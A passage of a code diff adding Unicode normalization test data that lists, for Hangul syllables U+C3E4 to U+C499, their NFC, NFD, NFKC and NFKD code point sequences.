+{ source: [0xC3E4], NFC: [0xC3E4], NFD: [0x110A, 0x1169, 0x11B3], NFKC: [0xC3E4], NFKD: [0x110A, 0x1169, 0x11B3] },
+{ source: [0xC3E5], NFC: [0xC3E5], NFD: [0x110A, 0x1169, 0x11B4], NFKC: [0xC3E5], NFKD: [0x110A, 0x1169, 0x11B4] },
+{ source: [0xC3E6], NFC: [0xC3E6], NFD: [0x110A, 0x1169, 0x11B5], NFKC: [0xC3E6], NFKD: [0x110A, 0x1169, 0x11B5] },
+{ source: [0xC3E7], NFC: [0xC3E7], NFD: [0x110A, 0x1169, 0x11B6], NFKC: [0xC3E7], NFKD: [0x110A, 0x1169, 0x11B6] },
+{ source: [0xC3E8], NFC: [0xC3E8], NFD: [0x110A, 0x1169, 0x11B7], NFKC: [0xC3E8], NFKD: [0x110A, 0x1169, 0x11B7] },
+{ source: [0xC3E9], NFC: [0xC3E9], NFD: [0x110A, 0x1169, 0x11B8], NFKC: [0xC3E9], NFKD: [0x110A, 0x1169, 0x11B8] },
+{ source: [0xC3EA], NFC: [0xC3EA], NFD: [0x110A, 0x1169, 0x11B9], NFKC: [0xC3EA], NFKD: [0x110A, 0x1169, 0x11B9] },
+{ source: [0xC3EB], NFC: [0xC3EB], NFD: [0x110A, 0x1169, 0x11BA], NFKC: [0xC3EB], NFKD: [0x110A, 0x1169, 0x11BA] },
+{ source: [0xC3EC], NFC: [0xC3EC], NFD: [0x110A, 0x1169, 0x11BB], NFKC: [0xC3EC], NFKD: [0x110A, 0x1169, 0x11BB] },
+{ source: [0xC3ED], NFC: [0xC3ED], NFD: [0x110A, 0x1169, 0x11BC], NFKC: [0xC3ED], NFKD: [0x110A, 0x1169, 0x11BC] },
+{ source: [0xC3EE], NFC: [0xC3EE], NFD: [0x110A, 0x1169, 0x11BD], NFKC: [0xC3EE], NFKD: [0x110A, 0x1169, 0x11BD] },
+{ source: [0xC3EF], NFC: [0xC3EF], NFD: [0x110A, 0x1169, 0x11BE], NFKC: [0xC3EF], NFKD: [0x110A, 0x1169, 0x11BE] },
+{ source: [0xC3F0], NFC: [0xC3F0], NFD: [0x110A, 0x1169, 0x11BF], NFKC: [0xC3F0], NFKD: [0x110A, 0x1169, 0x11BF] },
+{ source: [0xC3F1], NFC: [0xC3F1], NFD: [0x110A, 0x1169, 0x11C0], NFKC: [0xC3F1], NFKD: [0x110A, 0x1169, 0x11C0] },
+{ source: [0xC3F2], NFC: [0xC3F2], NFD: [0x110A, 0x1169, 0x11C1], NFKC: [0xC3F2], NFKD: [0x110A, 0x1169, 0x11C1] },
+{ source: [0xC3F3], NFC: [0xC3F3], NFD: [0x110A, 0x1169, 0x11C2], NFKC: [0xC3F3], NFKD: [0x110A, 0x1169, 0x11C2] },
+{ source: [0xC3F4], NFC: [0xC3F4], NFD: [0x110A, 0x116A], NFKC: [0xC3F4], NFKD: [0x110A, 0x116A] },
+{ source: [0xC3F5], NFC: [0xC3F5], NFD: [0x110A, 0x116A, 0x11A8], NFKC: [0xC3F5], NFKD: [0x110A, 0x116A, 0x11A8] },
+{ source: [0xC3F6], NFC: [0xC3F6], NFD: [0x110A, 0x116A, 0x11A9], NFKC: [0xC3F6], NFKD: [0x110A, 0x116A, 0x11A9] },
+{ source: [0xC3F7], NFC: [0xC3F7], NFD: [0x110A, 0x116A, 0x11AA], NFKC: [0xC3F7], NFKD: [0x110A, 0x116A, 0x11AA] },
+{ source: [0xC3F8], NFC: [0xC3F8], NFD: [0x110A, 0x116A, 0x11AB], NFKC: [0xC3F8], NFKD: [0x110A, 0x116A, 0x11AB] },
+{ source: [0xC3F9], NFC: [0xC3F9], NFD: [0x110A, 0x116A, 0x11AC], NFKC: [0xC3F9], NFKD: [0x110A, 0x116A, 0x11AC] },
+{ source: [0xC3FA], NFC: [0xC3FA], NFD: [0x110A, 0x116A, 0x11AD], NFKC: [0xC3FA], NFKD: [0x110A, 0x116A, 0x11AD] },
+{ source: [0xC3FB], NFC: [0xC3FB], NFD: [0x110A, 0x116A, 0x11AE], NFKC: [0xC3FB], NFKD: [0x110A, 0x116A, 0x11AE] },
+{ source: [0xC3FC], NFC: [0xC3FC], NFD: [0x110A, 0x116A, 0x11AF], NFKC: [0xC3FC], NFKD: [0x110A, 0x116A, 0x11AF] },
+{ source: [0xC3FD], NFC: [0xC3FD], NFD: [0x110A, 0x116A, 0x11B0], NFKC: [0xC3FD], NFKD: [0x110A, 0x116A, 0x11B0] },
+{ source: [0xC3FE], NFC: [0xC3FE], NFD: [0x110A, 0x116A, 0x11B1], NFKC: [0xC3FE], NFKD: [0x110A, 0x116A, 0x11B1] },
+{ source: [0xC3FF], NFC: [0xC3FF], NFD: [0x110A, 0x116A, 0x11B2], NFKC: [0xC3FF], NFKD: [0x110A, 0x116A, 0x11B2] },
+{ source: [0xC400], NFC: [0xC400], NFD: [0x110A, 0x116A, 0x11B3], NFKC: [0xC400], NFKD: [0x110A, 0x116A, 0x11B3] },
+{ source: [0xC401], NFC: [0xC401], NFD: [0x110A, 0x116A, 0x11B4], NFKC: [0xC401], NFKD: [0x110A, 0x116A, 0x11B4] },
+{ source: [0xC402], NFC: [0xC402], NFD: [0x110A, 0x116A, 0x11B5], NFKC: [0xC402], NFKD: [0x110A, 0x116A, 0x11B5] },
+{ source: [0xC403], NFC: [0xC403], NFD: [0x110A, 0x116A, 0x11B6], NFKC: [0xC403], NFKD: [0x110A, 0x116A, 0x11B6] },
+{ source: [0xC404], NFC: [0xC404], NFD: [0x110A, 0x116A, 0x11B7], NFKC: [0xC404], NFKD: [0x110A, 0x116A, 0x11B7] },
+{ source: [0xC405], NFC: [0xC405], NFD: [0x110A, 0x116A, 0x11B8], NFKC: [0xC405], NFKD: [0x110A, 0x116A, 0x11B8] },
+{ source: [0xC406], NFC: [0xC406], NFD: [0x110A, 0x116A, 0x11B9], NFKC: [0xC406], NFKD: [0x110A, 0x116A, 0x11B9] },
+{ source: [0xC407], NFC: [0xC407], NFD: [0x110A, 0x116A, 0x11BA], NFKC: [0xC407], NFKD: [0x110A, 0x116A, 0x11BA] },
+{ source: [0xC408], NFC: [0xC408], NFD: [0x110A, 0x116A, 0x11BB], NFKC: [0xC408], NFKD: [0x110A, 0x116A, 0x11BB] },
+{ source: [0xC409], NFC: [0xC409], NFD: [0x110A, 0x116A, 0x11BC], NFKC: [0xC409], NFKD: [0x110A, 0x116A, 0x11BC] },
+{ source: [0xC40A], NFC: [0xC40A], NFD: [0x110A, 0x116A, 0x11BD], NFKC: [0xC40A], NFKD: [0x110A, 0x116A, 0x11BD] },
+{ source: [0xC40B], NFC: [0xC40B], NFD: [0x110A, 0x116A, 0x11BE], NFKC: [0xC40B], NFKD: [0x110A, 0x116A, 0x11BE] },
+{ source: [0xC40C], NFC: [0xC40C], NFD: [0x110A, 0x116A, 0x11BF], NFKC: [0xC40C], NFKD: [0x110A, 0x116A, 0x11BF] },
+{ source: [0xC40D], NFC: [0xC40D], NFD: [0x110A, 0x116A, 0x11C0], NFKC: [0xC40D], NFKD: [0x110A, 0x116A, 0x11C0] },
+{ source: [0xC40E], NFC: [0xC40E], NFD: [0x110A, 0x116A, 0x11C1], NFKC: [0xC40E], NFKD: [0x110A, 0x116A, 0x11C1] },
+{ source: [0xC40F], NFC: [0xC40F], NFD: [0x110A, 0x116A, 0x11C2], NFKC: [0xC40F], NFKD: [0x110A, 0x116A, 0x11C2] },
+{ source: [0xC410], NFC: [0xC410], NFD: [0x110A, 0x116B], NFKC: [0xC410], NFKD: [0x110A, 0x116B] },
+{ source: [0xC411], NFC: [0xC411], NFD: [0x110A, 0x116B, 0x11A8], NFKC: [0xC411], NFKD: [0x110A, 0x116B, 0x11A8] },
+{ source: [0xC412], NFC: [0xC412], NFD: [0x110A, 0x116B, 0x11A9], NFKC: [0xC412], NFKD: [0x110A, 0x116B, 0x11A9] },
+{ source: [0xC413], NFC: [0xC413], NFD: [0x110A, 0x116B, 0x11AA], NFKC: [0xC413], NFKD: [0x110A, 0x116B, 0x11AA] },
+{ source: [0xC414], NFC: [0xC414], NFD: [0x110A, 0x116B, 0x11AB], NFKC: [0xC414], NFKD: [0x110A, 0x116B, 0x11AB] },
+{ source: [0xC415], NFC: [0xC415], NFD: [0x110A, 0x116B, 0x11AC], NFKC: [0xC415], NFKD: [0x110A, 0x116B, 0x11AC] },
+{ source: [0xC416], NFC: [0xC416], NFD: [0x110A, 0x116B, 0x11AD], NFKC: [0xC416], NFKD: [0x110A, 0x116B, 0x11AD] },
+{ source: [0xC417], NFC: [0xC417], NFD: [0x110A, 0x116B, 0x11AE], NFKC: [0xC417], NFKD: [0x110A, 0x116B, 0x11AE] },
+{ source: [0xC418], NFC: [0xC418], NFD: [0x110A, 0x116B, 0x11AF], NFKC: [0xC418], NFKD: [0x110A, 0x116B, 0x11AF] },
+{ source: [0xC419], NFC: [0xC419], NFD: [0x110A, 0x116B, 0x11B0], NFKC: [0xC419], NFKD: [0x110A, 0x116B, 0x11B0] },
+{ source: [0xC41A], NFC: [0xC41A], NFD: [0x110A, 0x116B, 0x11B1], NFKC: [0xC41A], NFKD: [0x110A, 0x116B, 0x11B1] },
+{ source: [0xC41B], NFC: [0xC41B], NFD: [0x110A, 0x116B, 0x11B2], NFKC: [0xC41B], NFKD: [0x110A, 0x116B, 0x11B2] },
+{ source: [0xC41C], NFC: [0xC41C], NFD: [0x110A, 0x116B, 0x11B3], NFKC: [0xC41C], NFKD: [0x110A, 0x116B, 0x11B3] },
+{ source: [0xC41D], NFC: [0xC41D], NFD: [0x110A, 0x116B, 0x11B4], NFKC: [0xC41D], NFKD: [0x110A, 0x116B, 0x11B4] },
+{ source: [0xC41E], NFC: [0xC41E], NFD: [0x110A, 0x116B, 0x11B5], NFKC: [0xC41E], NFKD: [0x110A, 0x116B, 0x11B5] },
+{ source: [0xC41F], NFC: [0xC41F], NFD: [0x110A, 0x116B, 0x11B6], NFKC: [0xC41F], NFKD: [0x110A, 0x116B, 0x11B6] },
+{ source: [0xC420], NFC: [0xC420], NFD: [0x110A, 0x116B, 0x11B7], NFKC: [0xC420], NFKD: [0x110A, 0x116B, 0x11B7] },
+{ source: [0xC421], NFC: [0xC421], NFD: [0x110A, 0x116B, 0x11B8], NFKC: [0xC421], NFKD: [0x110A, 0x116B, 0x11B8] },
+{ source: [0xC422], NFC: [0xC422], NFD: [0x110A, 0x116B, 0x11B9], NFKC: [0xC422], NFKD: [0x110A, 0x116B, 0x11B9] },
+{ source: [0xC423], NFC: [0xC423], NFD: [0x110A, 0x116B, 0x11BA], NFKC: [0xC423], NFKD: [0x110A, 0x116B, 0x11BA] },
+{ source: [0xC424], NFC: [0xC424], NFD: [0x110A, 0x116B, 0x11BB], NFKC: [0xC424], NFKD: [0x110A, 0x116B, 0x11BB] },
+{ source: [0xC425], NFC: [0xC425], NFD: [0x110A, 0x116B, 0x11BC], NFKC: [0xC425], NFKD: [0x110A, 0x116B, 0x11BC] },
+{ source: [0xC426], NFC: [0xC426], NFD: [0x110A, 0x116B, 0x11BD], NFKC: [0xC426], NFKD: [0x110A, 0x116B, 0x11BD] },
+{ source: [0xC427], NFC: [0xC427], NFD: [0x110A, 0x116B, 0x11BE], NFKC: [0xC427], NFKD: [0x110A, 0x116B, 0x11BE] },
+{ source: [0xC428], NFC: [0xC428], NFD: [0x110A, 0x116B, 0x11BF], NFKC: [0xC428], NFKD: [0x110A, 0x116B, 0x11BF] },
+{ source: [0xC429], NFC: [0xC429], NFD: [0x110A, 0x116B, 0x11C0], NFKC: [0xC429], NFKD: [0x110A, 0x116B, 0x11C0] },
+{ source: [0xC42A], NFC: [0xC42A], NFD: [0x110A, 0x116B, 0x11C1], NFKC: [0xC42A], NFKD: [0x110A, 0x116B, 0x11C1] },
+{ source: [0xC42B], NFC: [0xC42B], NFD: [0x110A, 0x116B, 0x11C2], NFKC: [0xC42B], NFKD: [0x110A, 0x116B, 0x11C2] },
+{ source: [0xC42C], NFC: [0xC42C], NFD: [0x110A, 0x116C], NFKC: [0xC42C], NFKD: [0x110A, 0x116C] },
+{ source: [0xC42D], NFC: [0xC42D], NFD: [0x110A, 0x116C, 0x11A8], NFKC: [0xC42D], NFKD: [0x110A, 0x116C, 0x11A8] },
+{ source: [0xC42E], NFC: [0xC42E], NFD: [0x110A, 0x116C, 0x11A9], NFKC: [0xC42E], NFKD: [0x110A, 0x116C, 0x11A9] },
+{ source: [0xC42F], NFC: [0xC42F], NFD: [0x110A, 0x116C, 0x11AA], NFKC: [0xC42F], NFKD: [0x110A, 0x116C, 0x11AA] },
+{ source: [0xC430], NFC: [0xC430], NFD: [0x110A, 0x116C, 0x11AB], NFKC: [0xC430], NFKD: [0x110A, 0x116C, 0x11AB] },
+{ source: [0xC431], NFC: [0xC431], NFD: [0x110A, 0x116C, 0x11AC], NFKC: [0xC431], NFKD: [0x110A, 0x116C, 0x11AC] },
+{ source: [0xC432], NFC: [0xC432], NFD: [0x110A, 0x116C, 0x11AD], NFKC: [0xC432], NFKD: [0x110A, 0x116C, 0x11AD] },
+{ source: [0xC433], NFC: [0xC433], NFD: [0x110A, 0x116C, 0x11AE], NFKC: [0xC433], NFKD: [0x110A, 0x116C, 0x11AE] },
+{ source: [0xC434], NFC: [0xC434], NFD: [0x110A, 0x116C, 0x11AF], NFKC: [0xC434], NFKD: [0x110A, 0x116C, 0x11AF] },
+{ source: [0xC435], NFC: [0xC435], NFD: [0x110A, 0x116C, 0x11B0], NFKC: [0xC435], NFKD: [0x110A, 0x116C, 0x11B0] },
+{ source: [0xC436], NFC: [0xC436], NFD: [0x110A, 0x116C, 0x11B1], NFKC: [0xC436], NFKD: [0x110A, 0x116C, 0x11B1] },
+{ source: [0xC437], NFC: [0xC437], NFD: [0x110A, 0x116C, 0x11B2], NFKC: [0xC437], NFKD: [0x110A, 0x116C, 0x11B2] },
+{ source: [0xC438], NFC: [0xC438], NFD: [0x110A, 0x116C, 0x11B3], NFKC: [0xC438], NFKD: [0x110A, 0x116C, 0x11B3] },
+{ source: [0xC439], NFC: [0xC439], NFD: [0x110A, 0x116C, 0x11B4], NFKC: [0xC439], NFKD: [0x110A, 0x116C, 0x11B4] },
+{ source: [0xC43A], NFC: [0xC43A], NFD: [0x110A, 0x116C, 0x11B5], NFKC: [0xC43A], NFKD: [0x110A, 0x116C, 0x11B5] },
+{ source: [0xC43B], NFC: [0xC43B], NFD: [0x110A, 0x116C, 0x11B6], NFKC: [0xC43B], NFKD: [0x110A, 0x116C, 0x11B6] },
+{ source: [0xC43C], NFC: [0xC43C], NFD: [0x110A, 0x116C, 0x11B7], NFKC: [0xC43C], NFKD: [0x110A, 0x116C, 0x11B7] },
+{ source: [0xC43D], NFC: [0xC43D], NFD: [0x110A, 0x116C, 0x11B8], NFKC: [0xC43D], NFKD: [0x110A, 0x116C, 0x11B8] },
+{ source: [0xC43E], NFC: [0xC43E], NFD: [0x110A, 0x116C, 0x11B9], NFKC: [0xC43E], NFKD: [0x110A, 0x116C, 0x11B9] },
+{ source: [0xC43F], NFC: [0xC43F], NFD: [0x110A, 0x116C, 0x11BA], NFKC: [0xC43F], NFKD: [0x110A, 0x116C, 0x11BA] },
+{ source: [0xC440], NFC: [0xC440], NFD: [0x110A, 0x116C, 0x11BB], NFKC: [0xC440], NFKD: [0x110A, 0x116C, 0x11BB] },
+{ source: [0xC441], NFC: [0xC441], NFD: [0x110A, 0x116C, 0x11BC], NFKC: [0xC441], NFKD: [0x110A, 0x116C, 0x11BC] },
+{ source: [0xC442], NFC: [0xC442], NFD: [0x110A, 0x116C, 0x11BD], NFKC: [0xC442], NFKD: [0x110A, 0x116C, 0x11BD] },
+{ source: [0xC443], NFC: [0xC443], NFD: [0x110A, 0x116C, 0x11BE], NFKC: [0xC443], NFKD: [0x110A, 0x116C, 0x11BE] },
+{ source: [0xC444], NFC: [0xC444], NFD: [0x110A, 0x116C, 0x11BF], NFKC: [0xC444], NFKD: [0x110A, 0x116C, 0x11BF] },
+{ source: [0xC445], NFC: [0xC445], NFD: [0x110A, 0x116C, 0x11C0], NFKC: [0xC445], NFKD: [0x110A, 0x116C, 0x11C0] },
+{ source: [0xC446], NFC: [0xC446], NFD: [0x110A, 0x116C, 0x11C1], NFKC: [0xC446], NFKD: [0x110A, 0x116C, 0x11C1] },
+{ source: [0xC447], NFC: [0xC447], NFD: [0x110A, 0x116C, 0x11C2], NFKC: [0xC447], NFKD: [0x110A, 0x116C, 0x11C2] },
+{ source: [0xC448], NFC: [0xC448], NFD: [0x110A, 0x116D], NFKC: [0xC448], NFKD: [0x110A, 0x116D] },
+{ source: [0xC449], NFC: [0xC449], NFD: [0x110A, 0x116D, 0x11A8], NFKC: [0xC449], NFKD: [0x110A, 0x116D, 0x11A8] },
+{ source: [0xC44A], NFC: [0xC44A], NFD: [0x110A, 0x116D, 0x11A9], NFKC: [0xC44A], NFKD: [0x110A, 0x116D, 0x11A9] },
+{ source: [0xC44B], NFC: [0xC44B], NFD: [0x110A, 0x116D, 0x11AA], NFKC: [0xC44B], NFKD: [0x110A, 0x116D, 0x11AA] },
+{ source: [0xC44C], NFC: [0xC44C], NFD: [0x110A, 0x116D, 0x11AB], NFKC: [0xC44C], NFKD: [0x110A, 0x116D, 0x11AB] },
+{ source: [0xC44D], NFC: [0xC44D], NFD: [0x110A, 0x116D, 0x11AC], NFKC: [0xC44D], NFKD: [0x110A, 0x116D, 0x11AC] },
+{ source: [0xC44E], NFC: [0xC44E], NFD: [0x110A, 0x116D, 0x11AD], NFKC: [0xC44E], NFKD: [0x110A, 0x116D, 0x11AD] },
+{ source: [0xC44F], NFC: [0xC44F], NFD: [0x110A, 0x116D, 0x11AE], NFKC: [0xC44F], NFKD: [0x110A, 0x116D, 0x11AE] },
+{ source: [0xC450], NFC: [0xC450], NFD: [0x110A, 0x116D, 0x11AF], NFKC: [0xC450], NFKD: [0x110A, 0x116D, 0x11AF] },
+{ source: [0xC451], NFC: [0xC451], NFD: [0x110A, 0x116D, 0x11B0], NFKC: [0xC451], NFKD: [0x110A, 0x116D, 0x11B0] },
+{ source: [0xC452], NFC: [0xC452], NFD: [0x110A, 0x116D, 0x11B1], NFKC: [0xC452], NFKD: [0x110A, 0x116D, 0x11B1] },
+{ source: [0xC453], NFC: [0xC453], NFD: [0x110A, 0x116D, 0x11B2], NFKC: [0xC453], NFKD: [0x110A, 0x116D, 0x11B2] },
+{ source: [0xC454], NFC: [0xC454], NFD: [0x110A, 0x116D, 0x11B3], NFKC: [0xC454], NFKD: [0x110A, 0x116D, 0x11B3] },
+{ source: [0xC455], NFC: [0xC455], NFD: [0x110A, 0x116D, 0x11B4], NFKC: [0xC455], NFKD: [0x110A, 0x116D, 0x11B4] },
+{ source: [0xC456], NFC: [0xC456], NFD: [0x110A, 0x116D, 0x11B5], NFKC: [0xC456], NFKD: [0x110A, 0x116D, 0x11B5] },
+{ source: [0xC457], NFC: [0xC457], NFD: [0x110A, 0x116D, 0x11B6], NFKC: [0xC457], NFKD: [0x110A, 0x116D, 0x11B6] },
+{ source: [0xC458], NFC: [0xC458], NFD: [0x110A, 0x116D, 0x11B7], NFKC: [0xC458], NFKD: [0x110A, 0x116D, 0x11B7] },
+{ source: [0xC459], NFC: [0xC459], NFD: [0x110A, 0x116D, 0x11B8], NFKC: [0xC459], NFKD: [0x110A, 0x116D, 0x11B8] },
+{ source: [0xC45A], NFC: [0xC45A], NFD: [0x110A, 0x116D, 0x11B9], NFKC: [0xC45A], NFKD: [0x110A, 0x116D, 0x11B9] },
+{ source: [0xC45B], NFC: [0xC45B], NFD: [0x110A, 0x116D, 0x11BA], NFKC: [0xC45B], NFKD: [0x110A, 0x116D, 0x11BA] },
+{ source: [0xC45C], NFC: [0xC45C], NFD: [0x110A, 0x116D, 0x11BB], NFKC: [0xC45C], NFKD: [0x110A, 0x116D, 0x11BB] },
+{ source: [0xC45D], NFC: [0xC45D], NFD: [0x110A, 0x116D, 0x11BC], NFKC: [0xC45D], NFKD: [0x110A, 0x116D, 0x11BC] },
+{ source: [0xC45E], NFC: [0xC45E], NFD: [0x110A, 0x116D, 0x11BD], NFKC: [0xC45E], NFKD: [0x110A, 0x116D, 0x11BD] },
+{ source: [0xC45F], NFC: [0xC45F], NFD: [0x110A, 0x116D, 0x11BE], NFKC: [0xC45F], NFKD: [0x110A, 0x116D, 0x11BE] },
+{ source: [0xC460], NFC: [0xC460], NFD: [0x110A, 0x116D, 0x11BF], NFKC: [0xC460], NFKD: [0x110A, 0x116D, 0x11BF] },
+{ source: [0xC461], NFC: [0xC461], NFD: [0x110A, 0x116D, 0x11C0], NFKC: [0xC461], NFKD: [0x110A, 0x116D, 0x11C0] },
+{ source: [0xC462], NFC: [0xC462], NFD: [0x110A, 0x116D, 0x11C1], NFKC: [0xC462], NFKD: [0x110A, 0x116D, 0x11C1] },
+{ source: [0xC463], NFC: [0xC463], NFD: [0x110A, 0x116D, 0x11C2], NFKC: [0xC463], NFKD: [0x110A, 0x116D, 0x11C2] },
+{ source: [0xC464], NFC: [0xC464], NFD: [0x110A, 0x116E], NFKC: [0xC464], NFKD: [0x110A, 0x116E] },
+{ source: [0xC465], NFC: [0xC465], NFD: [0x110A, 0x116E, 0x11A8], NFKC: [0xC465], NFKD: [0x110A, 0x116E, 0x11A8] },
+{ source: [0xC466], NFC: [0xC466], NFD: [0x110A, 0x116E, 0x11A9], NFKC: [0xC466], NFKD: [0x110A, 0x116E, 0x11A9] },
+{ source: [0xC467], NFC: [0xC467], NFD: [0x110A, 0x116E, 0x11AA], NFKC: [0xC467], NFKD: [0x110A, 0x116E, 0x11AA] },
+{ source: [0xC468], NFC: [0xC468], NFD: [0x110A, 0x116E, 0x11AB], NFKC: [0xC468], NFKD: [0x110A, 0x116E, 0x11AB] },
+{ source: [0xC469], NFC: [0xC469], NFD: [0x110A, 0x116E, 0x11AC], NFKC: [0xC469], NFKD: [0x110A, 0x116E, 0x11AC] },
+{ source: [0xC46A], NFC: [0xC46A], NFD: [0x110A, 0x116E, 0x11AD], NFKC: [0xC46A], NFKD: [0x110A, 0x116E, 0x11AD] },
+{ source: [0xC46B], NFC: [0xC46B], NFD: [0x110A, 0x116E, 0x11AE], NFKC: [0xC46B], NFKD: [0x110A, 0x116E, 0x11AE] },
+{ source: [0xC46C], NFC: [0xC46C], NFD: [0x110A, 0x116E, 0x11AF], NFKC: [0xC46C], NFKD: [0x110A, 0x116E, 0x11AF] },
+{ source: [0xC46D], NFC: [0xC46D], NFD: [0x110A, 0x116E, 0x11B0], NFKC: [0xC46D], NFKD: [0x110A, 0x116E, 0x11B0] },
+{ source: [0xC46E], NFC: [0xC46E], NFD: [0x110A, 0x116E, 0x11B1], NFKC: [0xC46E], NFKD: [0x110A, 0x116E, 0x11B1] },
+{ source: [0xC46F], NFC: [0xC46F], NFD: [0x110A, 0x116E, 0x11B2], NFKC: [0xC46F], NFKD: [0x110A, 0x116E, 0x11B2] },
+{ source: [0xC470], NFC: [0xC470], NFD: [0x110A, 0x116E, 0x11B3], NFKC: [0xC470], NFKD: [0x110A, 0x116E, 0x11B3] },
+{ source: [0xC471], NFC: [0xC471], NFD: [0x110A, 0x116E, 0x11B4], NFKC: [0xC471], NFKD: [0x110A, 0x116E, 0x11B4] },
+{ source: [0xC472], NFC: [0xC472], NFD: [0x110A, 0x116E, 0x11B5], NFKC: [0xC472], NFKD: [0x110A, 0x116E, 0x11B5] },
+{ source: [0xC473], NFC: [0xC473], NFD: [0x110A, 0x116E, 0x11B6], NFKC: [0xC473], NFKD: [0x110A, 0x116E, 0x11B6] },
+{ source: [0xC474], NFC: [0xC474], NFD: [0x110A, 0x116E, 0x11B7], NFKC: [0xC474], NFKD: [0x110A, 0x116E, 0x11B7] },
+{ source: [0xC475], NFC: [0xC475], NFD: [0x110A, 0x116E, 0x11B8], NFKC: [0xC475], NFKD: [0x110A, 0x116E, 0x11B8] },
+{ source: [0xC476], NFC: [0xC476], NFD: [0x110A, 0x116E, 0x11B9], NFKC: [0xC476], NFKD: [0x110A, 0x116E, 0x11B9] },
+{ source: [0xC477], NFC: [0xC477], NFD: [0x110A, 0x116E, 0x11BA], NFKC: [0xC477], NFKD: [0x110A, 0x116E, 0x11BA] },
+{ source: [0xC478], NFC: [0xC478], NFD: [0x110A, 0x116E, 0x11BB], NFKC: [0xC478], NFKD: [0x110A, 0x116E, 0x11BB] },
+{ source: [0xC479], NFC: [0xC479], NFD: [0x110A, 0x116E, 0x11BC], NFKC: [0xC479], NFKD: [0x110A, 0x116E, 0x11BC] },
+{ source: [0xC47A], NFC: [0xC47A], NFD: [0x110A, 0x116E, 0x11BD], NFKC: [0xC47A], NFKD: [0x110A, 0x116E, 0x11BD] },
+{ source: [0xC47B], NFC: [0xC47B], NFD: [0x110A, 0x116E, 0x11BE], NFKC: [0xC47B], NFKD: [0x110A, 0x116E, 0x11BE] },
+{ source: [0xC47C], NFC: [0xC47C], NFD: [0x110A, 0x116E, 0x11BF], NFKC: [0xC47C], NFKD: [0x110A, 0x116E, 0x11BF] },
+{ source: [0xC47D], NFC: [0xC47D], NFD: [0x110A, 0x116E, 0x11C0], NFKC: [0xC47D], NFKD: [0x110A, 0x116E, 0x11C0] },
+{ source: [0xC47E], NFC: [0xC47E], NFD: [0x110A, 0x116E, 0x11C1], NFKC: [0xC47E], NFKD: [0x110A, 0x116E, 0x11C1] },
+{ source: [0xC47F], NFC: [0xC47F], NFD: [0x110A, 0x116E, 0x11C2], NFKC: [0xC47F], NFKD: [0x110A, 0x116E, 0x11C2] },
+{ source: [0xC480], NFC: [0xC480], NFD: [0x110A, 0x116F], NFKC: [0xC480], NFKD: [0x110A, 0x116F] },
+{ source: [0xC481], NFC: [0xC481], NFD: [0x110A, 0x116F, 0x11A8], NFKC: [0xC481], NFKD: [0x110A, 0x116F, 0x11A8] },
+{ source: [0xC482], NFC: [0xC482], NFD: [0x110A, 0x116F, 0x11A9], NFKC: [0xC482], NFKD: [0x110A, 0x116F, 0x11A9] },
+{ source: [0xC483], NFC: [0xC483], NFD: [0x110A, 0x116F, 0x11AA], NFKC: [0xC483], NFKD: [0x110A, 0x116F, 0x11AA] },
+{ source: [0xC484], NFC: [0xC484], NFD: [0x110A, 0x116F, 0x11AB], NFKC: [0xC484], NFKD: [0x110A, 0x116F, 0x11AB] },
+{ source: [0xC485], NFC: [0xC485], NFD: [0x110A, 0x116F, 0x11AC], NFKC: [0xC485], NFKD: [0x110A, 0x116F, 0x11AC] },
+{ source: [0xC486], NFC: [0xC486], NFD: [0x110A, 0x116F, 0x11AD], NFKC: [0xC486], NFKD: [0x110A, 0x116F, 0x11AD] },
+{ source: [0xC487], NFC: [0xC487], NFD: [0x110A, 0x116F, 0x11AE], NFKC: [0xC487], NFKD: [0x110A, 0x116F, 0x11AE] },
+{ source: [0xC488], NFC: [0xC488], NFD: [0x110A, 0x116F, 0x11AF], NFKC: [0xC488], NFKD: [0x110A, 0x116F, 0x11AF] },
+{ source: [0xC489], NFC: [0xC489], NFD: [0x110A, 0x116F, 0x11B0], NFKC: [0xC489], NFKD: [0x110A, 0x116F, 0x11B0] },
+{ source: [0xC48A], NFC: [0xC48A], NFD: [0x110A, 0x116F, 0x11B1], NFKC: [0xC48A], NFKD: [0x110A, 0x116F, 0x11B1] },
+{ source: [0xC48B], NFC: [0xC48B], NFD: [0x110A, 0x116F, 0x11B2], NFKC: [0xC48B], NFKD: [0x110A, 0x116F, 0x11B2] },
+{ source: [0xC48C], NFC: [0xC48C], NFD: [0x110A, 0x116F, 0x11B3], NFKC: [0xC48C], NFKD: [0x110A, 0x116F, 0x11B3] },
+{ source: [0xC48D], NFC: [0xC48D], NFD: [0x110A, 0x116F, 0x11B4], NFKC: [0xC48D], NFKD: [0x110A, 0x116F, 0x11B4] },
+{ source: [0xC48E], NFC: [0xC48E], NFD: [0x110A, 0x116F, 0x11B5], NFKC: [0xC48E], NFKD: [0x110A, 0x116F, 0x11B5] },
+{ source: [0xC48F], NFC: [0xC48F], NFD: [0x110A, 0x116F, 0x11B6], NFKC: [0xC48F], NFKD: [0x110A, 0x116F, 0x11B6] },
+{ source: [0xC490], NFC: [0xC490], NFD: [0x110A, 0x116F, 0x11B7], NFKC: [0xC490], NFKD: [0x110A, 0x116F, 0x11B7] },
+{ source: [0xC491], NFC: [0xC491], NFD: [0x110A, 0x116F, 0x11B8], NFKC: [0xC491], NFKD: [0x110A, 0x116F, 0x11B8] },
+{ source: [0xC492], NFC: [0xC492], NFD: [0x110A, 0x116F, 0x11B9], NFKC: [0xC492], NFKD: [0x110A, 0x116F, 0x11B9] },
+{ source: [0xC493], NFC: [0xC493], NFD: [0x110A, 0x116F, 0x11BA], NFKC: [0xC493], NFKD: [0x110A, 0x116F, 0x11BA] },
+{ source: [0xC494], NFC: [0xC494], NFD: [0x110A, 0x116F, 0x11BB], NFKC: [0xC494], NFKD: [0x110A, 0x116F, 0x11BB] },
+{ source: [0xC495], NFC: [0xC495], NFD: [0x110A, 0x116F, 0x11BC], NFKC: [0xC495], NFKD: [0x110A, 0x116F, 0x11BC] },
+{ source: [0xC496], NFC: [0xC496], NFD: [0x110A, 0x116F, 0x11BD], NFKC: [0xC496], NFKD: [0x110A, 0x116F, 0x11BD] },
+{ source: [0xC497], NFC: [0xC497], NFD: [0x110A, 0x116F, 0x11BE], NFKC: [0xC497], NFKD: [0x110A, 0x116F, 0x11BE] },
+{ source: [0xC498], NFC: [0xC498], NFD: [0x110A, 0x116F, 0x11BF], NFKC: [0xC498], NFKD: [0x110A, 0x116F, 0x11BF] },
+{ source: [0xC499], NFC: [0xC499], NFD: [0x110A, 0x116F, 0x11C0], NFKC: [0xC499], NFKD: [0x110A, 0x116F, 0x11C0] },
